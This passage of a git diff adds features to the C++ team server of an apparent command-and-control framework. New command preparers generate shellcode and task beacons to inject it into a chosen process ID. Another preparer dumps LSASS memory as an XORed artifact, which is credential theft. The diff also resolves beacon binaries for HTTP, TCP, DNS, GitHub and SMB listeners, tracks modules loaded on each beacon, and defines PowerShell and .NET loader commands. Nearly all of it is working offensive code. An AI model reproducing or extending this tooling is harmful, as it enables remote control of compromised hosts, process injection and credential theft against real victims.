inject_command::lowerCopy(name); + for (const auto& module : modules) + { + if (module && inject_command::lowerCopy(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} +} // namespace + +TeamServerInjectCommandPreparer::TeamServerInjectCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerInjectCommandPreparer::canPrepare(const std::string& instruction) const +{ + return inject_command::lowerCopy(instruction) == "inject"; +} + +TeamServerCommandPreparerResult TeamServerInjectCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + inject_command::CommandOptions options = inject_command::parseCommandOptions(context.tokens); + if (!options.error.empty()) + { + c2Message.set_returnvalue(options.error + "\n"); + return result; + } + + if (!m_shellcodeService || !m_artifactStore) + { + c2Message.set_returnvalue("Shellcode preparation service is not available.\n"); + return result; + } + + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = options.generator; + shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath, context.windowsArch); + shellcodeRequest.sourceType = options.sourceType; + shellcodeRequest.arch = context.windowsArch; + shellcodeRequest.method = options.method; + shellcodeRequest.arguments = options.arguments; + shellcodeRequest.exitPolicy = "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + { + c2Message.set_returnvalue(shellcode.message + "\n"); + return result; + } + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "inject-" + fs::path(shellcodeRequest.sourcePath).filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = context.isWindows ? "windows" : "linux"; + artifactRequest.arch = context.isWindows ? context.windowsArch : "any"; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for inject."; + artifactRequest.tags = {"inject", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + { + c2Message.set_returnvalue("Could not store generated shellcode artifact.\n"); + return result; + } + + ModuleCmd* module = findModule(m_moduleCmd, "inject"); + if (!module) + { + c2Message.set_returnvalue("Module inject not found.\n"); + return result; + } + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.pid = options.pid; + task.displayCommand = options.displayCommand; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("inject prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp b/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp new file mode 100644 index 0000000..c3704fa --- /dev/null +++ b/teamServer/teamServer/TeamServerInjectCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerInjectCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerInjectCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerListenerArtifactService.cpp b/teamServer/teamServer/TeamServerListenerArtifactService.cpp index d26c9d2..9137b67 100644 --- a/teamServer/teamServer/TeamServerListenerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerListenerArtifactService.cpp @@ -29,6 +29,22 @@ std::string readBinaryFile(const std::string& path) return std::string((std::istreambuf_iterator(input)), std::istreambuf_iterator()); } +std::string configString(const nlohmann::json& config, const char* key) +{ + const auto it = config.find(key); + if (it == config.end() || !it->is_string()) + return ""; + return it->get(); +} + +bool isWildcardAddress(const std::string& address) +{ + return address.empty() + || address == "0.0.0.0" + || address == "::" + || address == "[::]"; +} + void setTerminalOk(teamserverapi::TerminalCommandResponse* response, const std::string& result) { response->set_status(teamserverapi::OK); @@ -86,26 +102,37 @@ grpc::Status TeamServerListenerArtifactService::handleCommand( return grpc::Status::OK; } -std::string TeamServerListenerArtifactService::resolvePublicAddress() const +std::string TeamServerListenerArtifactService::resolvePublicAddress(const std::shared_ptr& listener) const { - const auto domainIt = m_config.find("DomainName"); - if (domainIt != m_config.end()) - return domainIt->get(); + const std::string domainName = configString(m_config, "DomainName"); + if (!domainName.empty()) + return domainName; - const auto exposedIt = m_config.find("ExposedIp"); - if (exposedIt != m_config.end()) - return exposedIt->get(); + const std::string exposedIp = configString(m_config, "ExposedIp"); + if (!exposedIp.empty()) + return exposedIp; - const auto interfaceIt = m_config.find("IpInterface"); - if (interfaceIt != m_config.end() && !interfaceIt->get().empty() && m_ipResolver) - return m_ipResolver(interfaceIt->get()); + const std::string ipInterface = configString(m_config, "IpInterface"); + if (!ipInterface.empty() && m_ipResolver) + { + const std::string interfaceAddress = m_ipResolver(ipInterface); + if (!interfaceAddress.empty()) + return interfaceAddress; + } + + const std::string listenerAddress = listener ? listener->getParam1() : ""; + if (!isWildcardAddress(listenerAddress)) + return listenerAddress; + + if (isWildcardAddress(listenerAddress)) + return "127.0.0.1"; return ""; } std::string TeamServerListenerArtifactService::resolvePrimaryListenerInfo(const std::shared_ptr& listener) const { - const std::string finalAddress = resolvePublicAddress(); + const std::string finalAddress = resolvePublicAddress(listener); if (finalAddress.empty()) return ""; @@ -144,16 +171,17 @@ std::string TeamServerListenerArtifactService::resolveBeaconBinaryPath( { const bool linuxTarget = targetOs == "Linux"; const fs::path windowsBeaconRoot = fs::path(m_runtimeConfig.windowsBeaconsDirectoryPath) / targetArch; + const fs::path linuxBeaconRoot = fs::path(m_runtimeConfig.linuxBeaconsDirectoryPath) / targetArch; if (type == ListenerHttpType || type == ListenerHttpsType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconHttp" : (windowsBeaconRoot / "BeaconHttp.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconHttp").string() : (windowsBeaconRoot / "BeaconHttp.exe").string(); if (type == ListenerTcpType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconTcp" : (windowsBeaconRoot / "BeaconTcp.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconTcp").string() : (windowsBeaconRoot / "BeaconTcp.exe").string(); if (primaryListener && type == ListenerGithubType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconGithub" : (windowsBeaconRoot / "BeaconGithub.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconGithub").string() : (windowsBeaconRoot / "BeaconGithub.exe").string(); if (primaryListener && type == ListenerDnsType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconDns" : (windowsBeaconRoot / "BeaconDns.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconDns").string() : (windowsBeaconRoot / "BeaconDns.exe").string(); if (!primaryListener && type == ListenerSmbType) - return linuxTarget ? m_runtimeConfig.linuxBeaconsDirectoryPath + "BeaconSmb" : (windowsBeaconRoot / "BeaconSmb.exe").string(); + return linuxTarget ? (linuxBeaconRoot / "BeaconSmb").string() : (windowsBeaconRoot / "BeaconSmb.exe").string(); return ""; } @@ -237,7 +265,7 @@ grpc::Status TeamServerListenerArtifactService::handleGetBeaconBinary( const std::string& listenerHash = splitedCmd[1]; const std::string targetOsArg = splitedCmd.size() >= 3 ? lowerCopy(splitedCmd[2]) : "windows"; const std::string targetOs = targetOsArg == "linux" ? "Linux" : "Windows"; - std::string targetArch = m_runtimeConfig.defaultWindowsArch; + std::string targetArch = targetOs == "Linux" ? m_runtimeConfig.defaultLinuxArch : m_runtimeConfig.defaultWindowsArch; if (targetOs == "Windows") { if (splitedCmd.size() == 4) @@ -258,6 +286,26 @@ grpc::Status TeamServerListenerArtifactService::handleGetBeaconBinary( return grpc::Status::OK; } } + else + { + if (splitedCmd.size() == 4) + targetArch = TeamServerRuntimeConfig::normalizeLinuxArch(splitedCmd[3]); + else + targetArch = TeamServerRuntimeConfig::normalizeLinuxArch(targetArch); + + if (targetArch.empty()) + { + setTerminalError(response, "Error: Unsupported architecture."); + return grpc::Status::OK; + } + + if (std::find(m_runtimeConfig.supportedLinuxArchs.begin(), m_runtimeConfig.supportedLinuxArchs.end(), targetArch) + == m_runtimeConfig.supportedLinuxArchs.end()) + { + setTerminalError(response, "Error: Unsupported architecture."); + return grpc::Status::OK; + } + } for (const auto& listener : m_listeners) { diff --git a/teamServer/teamServer/TeamServerListenerArtifactService.hpp b/teamServer/teamServer/TeamServerListenerArtifactService.hpp index a4e17bb..82eac13 100644 --- a/teamServer/teamServer/TeamServerListenerArtifactService.hpp +++ b/teamServer/teamServer/TeamServerListenerArtifactService.hpp @@ -33,7 +33,7 @@ class TeamServerListenerArtifactService teamserverapi::TerminalCommandResponse* response) const; private: - std::string resolvePublicAddress() const; + std::string resolvePublicAddress(const std::shared_ptr& listener) const; std::string resolvePrimaryListenerInfo(const std::shared_ptr& listener) const; std::string resolveBeaconBinaryPath( const std::string& type, diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index 710efc0..1af0857 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -2,6 +2,8 @@ #include #include +#include +#include #include #include #include @@ -59,6 +61,108 @@ std::string extractClientId(const std::multimap(std::tolower(c)); + }); + return value; +} + +bool isTcpBoundListenerType(const std::string& type) +{ + return type == ListenerHttpType || type == ListenerHttpsType || type == ListenerTcpType; +} + +std::shared_ptr findTcpPortConflict( + const std::vector>& listeners, + const std::string& type, + int port) +{ + if (!isTcpBoundListenerType(type)) + return nullptr; + + const std::string portText = std::to_string(port); + auto object = std::find_if( + listeners.begin(), + listeners.end(), + [&](const std::shared_ptr& obj) + { + return obj && + isTcpBoundListenerType(obj->getType()) && + obj->getParam2() == portText; + }); + + if (object == listeners.end()) + return nullptr; + return *object; +} + +std::string currentUtcTimestamp() +{ + const auto now = std::chrono::system_clock::now(); + const std::time_t nowTime = std::chrono::system_clock::to_time_t(now); + std::tm utcTime {}; +#ifdef _WIN32 + gmtime_s(&utcTime, &nowTime); +#else + gmtime_r(&nowTime, &utcTime); +#endif + std::ostringstream output; + output << std::put_time(&utcTime, "%Y-%m-%dT%H:%M:%SZ"); + return output.str(); +} + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string stripExtension(std::string value) +{ + const auto dot = value.find_last_of('.'); + if (dot != std::string::npos) + value = value.substr(0, dot); + return value; +} + +std::vector splitCommandLine(const std::string& input) +{ + std::vector parts; + std::string current; + char quote = '\0'; + for (char c : input) + { + if ((c == '\'' || c == '"') && quote == '\0') + { + quote = c; + continue; + } + if (quote != '\0' && c == quote) + { + quote = '\0'; + continue; + } + if (quote == '\0' && std::isspace(static_cast(c))) + { + if (!current.empty()) + { + parts.push_back(current); + current.clear(); + } + continue; + } + current += c; + } + if (!current.empty()) + parts.push_back(current); + return parts; +} } // namespace TeamServerListenerSessionService::TeamServerListenerSessionService( @@ -70,6 +174,7 @@ TeamServerListenerSessionService::TeamServerListenerSessionService( std::vector& cmdResponses, std::unordered_map>& sentResponses, std::vector& sentCommands, + std::shared_ptr fileArtifactService, PrepMsgCallback prepMsg) : m_logger(std::move(logger)), m_config(config), @@ -79,6 +184,7 @@ TeamServerListenerSessionService::TeamServerListenerSessionService( m_cmdResponses(cmdResponses), m_sentResponses(sentResponses), m_sentCommands(sentCommands), + m_fileArtifactService(std::move(fileArtifactService)), m_prepMsg(std::move(prepMsg)) { } @@ -162,6 +268,18 @@ grpc::Status TeamServerListenerSessionService::addListener(const teamserverapi:: const std::string type = listenerToCreate.type(); response->set_status(teamserverapi::KO); + if (auto conflictingListener = findTcpPortConflict(m_listeners, type, listenerToCreate.port())) + { + m_logger->warn("Add listener failed: port {0} already used by {1} listener {2}", + std::to_string(listenerToCreate.port()), + conflictingListener->getType(), + conflictingListener->getListenerHash()); + response->set_message( + "Port " + std::to_string(listenerToCreate.port()) + + " is already used by " + conflictingListener->getType() + " listener."); + return grpc::Status::OK; + } + if (type == ListenerGithubType) { auto object = std::find_if( @@ -359,6 +477,7 @@ grpc::Status TeamServerListenerSessionService::stopListener(const teamserverapi: session->getListenerHash(), input, c2Message.instruction(), + c2Message.outputfile(), }); stopCommandSent = true; } @@ -415,6 +534,215 @@ bool TeamServerListenerSessionService::isListenerAlive(const std::string& listen return false; } +std::string TeamServerListenerSessionService::sessionModuleKey(const std::string& beaconHash) const +{ + return beaconHash; +} + +std::string TeamServerListenerSessionService::canonicalModuleName(const std::string& value) const +{ + std::string name = stripExtension(basename(value)); + if (name.size() > 3 && toLower(name.substr(0, 3)) == "lib") + name = name.substr(3); + if (name.empty()) + return ""; + + const std::string lowered = toLower(name); + if (lowered == "printworkingdirectory") + return "pwd"; + if (lowered == "changedirectory") + return "cd"; + if (lowered == "listdirectory") + return "ls"; + if (lowered == "listprocesses") + return "ps"; + if (lowered == "ipconfig") + return "ipConfig"; + if (lowered == "mkdir") + return "mkDir"; + + name[0] = static_cast(std::tolower(static_cast(name[0]))); + return name; +} + +std::string TeamServerListenerSessionService::moduleNameFromLoadTask(const std::string& input, const C2Message& c2Message) const +{ + std::string moduleName = canonicalModuleName(c2Message.inputfile()); + if (!moduleName.empty()) + return moduleName; + + const std::vector parts = splitCommandLine(input); + if (parts.size() >= 2) + return canonicalModuleName(parts[1]); + return ""; +} + +std::string TeamServerListenerSessionService::moduleNameFromUnloadTask(const std::string& input, const C2Message& c2Message) const +{ + std::string moduleName = canonicalModuleName(c2Message.cmd()); + if (!moduleName.empty()) + return moduleName; + + const std::vector parts = splitCommandLine(input); + if (parts.size() >= 2) + return canonicalModuleName(parts[1]); + return ""; +} + +bool TeamServerListenerSessionService::hasActiveModule( + const std::string& beaconHash, + const std::string& moduleName, + std::string& state) const +{ + std::lock_guard lock(m_loadedModulesMutex); + const auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return false; + + const auto moduleIt = beaconIt->second.find(toLower(moduleName)); + if (moduleIt == beaconIt->second.end()) + return false; + + state = moduleIt->second.state; + return state == "loading" || state == "loaded" || state == "unloading"; +} + +void TeamServerListenerSessionService::markModuleLoading( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& moduleName, + const std::string& commandId, + const std::string& artifact) +{ + if (moduleName.empty()) + return; + + std::lock_guard lock(m_loadedModulesMutex); + BeaconModuleRecord record; + record.beaconHash = beaconHash; + record.listenerHash = listenerHash; + record.name = moduleName; + record.state = "loading"; + record.commandId = commandId; + record.artifact = artifact; + record.updatedAt = currentUtcTimestamp(); + m_loadedModulesByBeacon[sessionModuleKey(beaconHash)][toLower(moduleName)] = record; +} + +void TeamServerListenerSessionService::markModuleUnloading( + const std::string& beaconHash, + const std::string& moduleName, + const std::string& commandId) +{ + if (moduleName.empty()) + return; + + std::lock_guard lock(m_loadedModulesMutex); + auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return; + + auto moduleIt = beaconIt->second.find(toLower(moduleName)); + if (moduleIt == beaconIt->second.end()) + return; + + moduleIt->second.state = "unloading"; + moduleIt->second.commandId = commandId; + moduleIt->second.updatedAt = currentUtcTimestamp(); +} + +void TeamServerListenerSessionService::applyModuleResult( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& commandId, + const std::string& instruction, + bool success) +{ + (void)instruction; + std::lock_guard lock(m_loadedModulesMutex); + auto beaconIt = m_loadedModulesByBeacon.find(sessionModuleKey(beaconHash)); + if (beaconIt == m_loadedModulesByBeacon.end()) + return; + + for (auto moduleIt = beaconIt->second.begin(); moduleIt != beaconIt->second.end();) + { + BeaconModuleRecord& record = moduleIt->second; + if (record.commandId != commandId) + { + ++moduleIt; + continue; + } + + record.listenerHash = listenerHash.empty() ? record.listenerHash : listenerHash; + record.updatedAt = currentUtcTimestamp(); + if (record.state == "loading") + { + if (success) + { + record.state = "loaded"; + record.loadCount = std::max(1, record.loadCount + 1); + ++moduleIt; + } + else + { + moduleIt = beaconIt->second.erase(moduleIt); + } + } + else if (record.state == "unloading") + { + if (success) + moduleIt = beaconIt->second.erase(moduleIt); + else + { + record.state = "loaded"; + ++moduleIt; + } + } + else + { + ++moduleIt; + } + } + + if (beaconIt->second.empty()) + m_loadedModulesByBeacon.erase(beaconIt); +} + +grpc::Status TeamServerListenerSessionService::streamModulesForSession( + const teamserverapi::SessionSelector& targetSession, + const ModuleEmitter& emit) const +{ + std::lock_guard lock(m_loadedModulesMutex); + const std::string targetBeaconHash = targetSession.beacon_hash(); + const std::string targetListenerHash = targetSession.listener_hash(); + + for (const auto& [beaconHash, modules] : m_loadedModulesByBeacon) + { + if (!targetBeaconHash.empty() && beaconHash != targetBeaconHash) + continue; + + for (const auto& [_, module] : modules) + { + if (!targetListenerHash.empty() && module.listenerHash != targetListenerHash) + continue; + + teamserverapi::LoadedModule response; + response.mutable_session()->set_beacon_hash(module.beaconHash); + response.mutable_session()->set_listener_hash(module.listenerHash); + response.set_name(module.name); + response.set_state(module.state); + response.set_command_id(module.commandId); + response.set_artifact(module.artifact); + response.set_updated_at(module.updatedAt); + response.set_load_count(module.loadCount); + if (!emit(response)) + return grpc::Status::OK; + } + } + + return grpc::Status::OK; +} + grpc::Status TeamServerListenerSessionService::streamSessions(const TeamServerListenerSessionService::SessionEmitter& emit) { m_logger->trace("ListSessions"); @@ -550,6 +878,25 @@ grpc::Status TeamServerListenerSessionService::sendSessionCommand(const teamserv return grpc::Status::OK; } + const std::string instruction = c2Message.instruction(); + std::string moduleName; + if (instruction == LoadC2ModuleCmd) + { + moduleName = moduleNameFromLoadTask(input, c2Message); + std::string existingState; + if (hasActiveModule(beaconHash, moduleName, existingState)) + { + response->set_message("Module already tracked on this beacon: " + moduleName + " (" + existingState + ")."); + m_logger->debug("SendSessionCommand rejected duplicate module load {0} on beacon {1}", moduleName, beaconHash); + m_logger->trace("SendSessionCommand end"); + return grpc::Status::OK; + } + } + else if (instruction == UnloadC2ModuleCmd) + { + moduleName = moduleNameFromUnloadTask(input, c2Message); + } + m_logger->info("Queued command {} for beacon {} -> '{}'", commandId, beaconHash.substr(0, 8), input); const std::string& inputFile = c2Message.inputfile(); @@ -560,16 +907,21 @@ grpc::Status TeamServerListenerSessionService::sendSessionCommand(const teamserv m_logger->info("File attached to task: '{}' | size={} bytes | MD5={}", inputFile, payload.size(), md5); } - const std::string instruction = c2Message.instruction(); c2Message.set_uuid(commandId); m_listeners[i]->queueTask(beaconHash, c2Message); + if (instruction == LoadC2ModuleCmd) + markModuleLoading(beaconHash, listenerHash, moduleName, commandId, c2Message.inputfile()); + else if (instruction == UnloadC2ModuleCmd) + markModuleUnloading(beaconHash, moduleName, commandId); + m_sentCommands.push_back(BeaconCommandContext{ commandId, beaconHash, listenerHash, input, instruction, + c2Message.outputfile(), }); response->set_status(teamserverapi::OK); @@ -620,6 +972,10 @@ int TeamServerListenerSessionService::handleCmdResponse() } } + std::string fileArtifactMessage; + if (m_fileArtifactService) + m_fileArtifactService->handleCommandResult(c2Message, fileArtifactMessage); + std::string ccInstructionString = m_commonCommands.translateCmdToInstruction(instructionCmd); for (int ii = 0; ii < m_commonCommands.getNumberOfCommand(); ii++) { @@ -638,19 +994,37 @@ int TeamServerListenerSessionService::handleCmdResponse() auto sentCommand = std::find_if( m_sentCommands.begin(), m_sentCommands.end(), - [&commandId](const BeaconCommandContext& context) + [&commandId, &c2Message](const BeaconCommandContext& context) { - return context.commandId == commandId; + if (!commandId.empty() && context.commandId == commandId) + return true; + return !c2Message.outputfile().empty() + && !context.outputFile.empty() + && context.outputFile == c2Message.outputfile(); }); bool trackedCommand = false; + bool keepCommandContext = false; if (sentCommand != m_sentCommands.end()) { trackedCommand = true; + commandId = sentCommand->commandId; listenerHash = sentCommand->listenerHash; commandLine = sentCommand->commandLine; - if (responseInstruction.empty()) + if (!sentCommand->instruction.empty()) responseInstruction = sentCommand->instruction; - m_sentCommands.erase(sentCommand); + keepCommandContext = m_fileArtifactService + && m_fileArtifactService->shouldKeepCommandContext(c2Message); + if (!keepCommandContext) + m_sentCommands.erase(sentCommand); + } + + if (trackedCommand) + applyModuleResult(beaconHash, listenerHash, commandId, responseInstruction, errorMsg.empty()); + + if (keepCommandContext) + { + c2Message = m_listeners[i]->getTaskResult(beaconHash); + continue; } teamserverapi::CommandResult commandResponseTmp; @@ -668,7 +1042,7 @@ int TeamServerListenerSessionService::handleCmdResponse() } else if (!c2Message.returnvalue().empty()) { - commandResponseTmp.set_output(c2Message.returnvalue()); + commandResponseTmp.set_output(fileArtifactMessage.empty() ? c2Message.returnvalue() : fileArtifactMessage); m_cmdResponses.push_back(commandResponseTmp); } else if (trackedCommand) diff --git a/teamServer/teamServer/TeamServerListenerSessionService.hpp b/teamServer/teamServer/TeamServerListenerSessionService.hpp index cadf2fd..004857d 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.hpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.hpp @@ -3,6 +3,7 @@ #include #include #include +#include #include #include #include @@ -12,6 +13,7 @@ #include "TeamServerApi.pb.h" #include "TeamServerCommandTracking.hpp" +#include "TeamServerFileArtifactService.hpp" #include "listener/Listener.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" @@ -25,6 +27,7 @@ class TeamServerListenerSessionService using ListenerEmitter = std::function; using SessionEmitter = std::function; using CommandResultEmitter = std::function; + using ModuleEmitter = std::function; TeamServerListenerSessionService( std::shared_ptr logger, @@ -35,6 +38,7 @@ class TeamServerListenerSessionService std::vector& cmdResponses, std::unordered_map>& sentResponses, std::vector& sentCommands, + std::shared_ptr fileArtifactService, PrepMsgCallback prepMsg); grpc::Status streamListeners(const ListenerEmitter& emit); @@ -43,6 +47,7 @@ class TeamServerListenerSessionService grpc::Status streamSessions(const SessionEmitter& emit); grpc::Status stopSession(const teamserverapi::SessionSelector& sessionToStop, teamserverapi::OperationAck* response); + grpc::Status streamModulesForSession(const teamserverapi::SessionSelector& targetSession, const ModuleEmitter& emit) const; grpc::Status sendSessionCommand(const teamserverapi::SessionCommandRequest& command, teamserverapi::CommandAck* response); grpc::Status streamResponsesForSession( const teamserverapi::SessionSelector& targetSession, @@ -61,5 +66,40 @@ class TeamServerListenerSessionService std::vector& m_cmdResponses; std::unordered_map>& m_sentResponses; std::vector& m_sentCommands; + std::shared_ptr m_fileArtifactService; PrepMsgCallback m_prepMsg; + + struct BeaconModuleRecord + { + std::string beaconHash; + std::string listenerHash; + std::string name; + std::string state; + std::string commandId; + std::string artifact; + std::string updatedAt; + int loadCount = 0; + }; + + std::string sessionModuleKey(const std::string& beaconHash) const; + std::string canonicalModuleName(const std::string& value) const; + std::string moduleNameFromLoadTask(const std::string& input, const C2Message& c2Message) const; + std::string moduleNameFromUnloadTask(const std::string& input, const C2Message& c2Message) const; + bool hasActiveModule(const std::string& beaconHash, const std::string& moduleName, std::string& state) const; + void markModuleLoading( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& moduleName, + const std::string& commandId, + const std::string& artifact); + void markModuleUnloading(const std::string& beaconHash, const std::string& moduleName, const std::string& commandId); + void applyModuleResult( + const std::string& beaconHash, + const std::string& listenerHash, + const std::string& commandId, + const std::string& instruction, + bool success); + + mutable std::mutex m_loadedModulesMutex; + std::unordered_map> m_loadedModulesByBeacon; }; diff --git a/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp new file mode 100644 index 0000000..fe74d09 --- /dev/null +++ b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp @@ -0,0 +1,106 @@ +#include "TeamServerMiniDumpCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerMiniDumpCommandPreparer::TeamServerMiniDumpCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerMiniDumpCommandPreparer::canPrepare(const std::string& instruction) const +{ + return toLower(instruction) == "minidump"; +} + +TeamServerCommandPreparerResult TeamServerMiniDumpCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || toLower(tokens[1]) != "dump") + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "miniDump is Windows-only.\n"); + if (!hasModule("miniDump")) + return handledError(c2Message, "Module miniDump not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() > 3) + return handledError(c2Message, "Usage: miniDump dump [artifact_name]\n"); + + const std::string nameHint = tokens.size() == 3 ? tokens[2] : "lsass.xored"; + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = "lsass.exe"; + spec.nameHint = nameHint; + spec.category = "minidump"; + spec.source = "beacon"; + spec.format = "xored"; + spec.runtime = "file"; + spec.description = "XORed LSASS minidump generated by miniDump."; + spec.tags = {"miniDump", "lsass", "xored"}; + spec.isWindows = true; + spec.arch = context.windowsArch; + spec.writeResultData = true; + + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareGeneratedFileArtifact(spec); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("miniDump"); + c2Message.set_cmd("0"); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared miniDump artifact path {}", artifact.path); + return result; +} + +bool TeamServerMiniDumpCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} diff --git a/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp new file mode 100644 index 0000000..d8a5b09 --- /dev/null +++ b/teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerMiniDumpCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerMiniDumpCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp new file mode 100644 index 0000000..f98b058 --- /dev/null +++ b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp @@ -0,0 +1,480 @@ +#include "TeamServerModuleArtifactCommandPreparer.hpp" + +#include +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace fs = std::filesystem; + +namespace +{ +constexpr const char* DotnetLoadCommand = "00001"; +constexpr const char* PwShLoadCommand = "00001"; +constexpr const char* PwShRunCommand = "00003"; +constexpr const char* PwShImportCommand = "00004"; +constexpr const char* PwShScriptCommand = "00005"; +constexpr const char* FixedPwShRunner = "rdm.dll"; +constexpr const char* FixedPwShType = "rdm.rdm"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTail(const std::vector& tokens, std::size_t start, bool trailingSpace = false) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + { + if (index != start) + output << ' '; + output << tokens[index]; + } + if 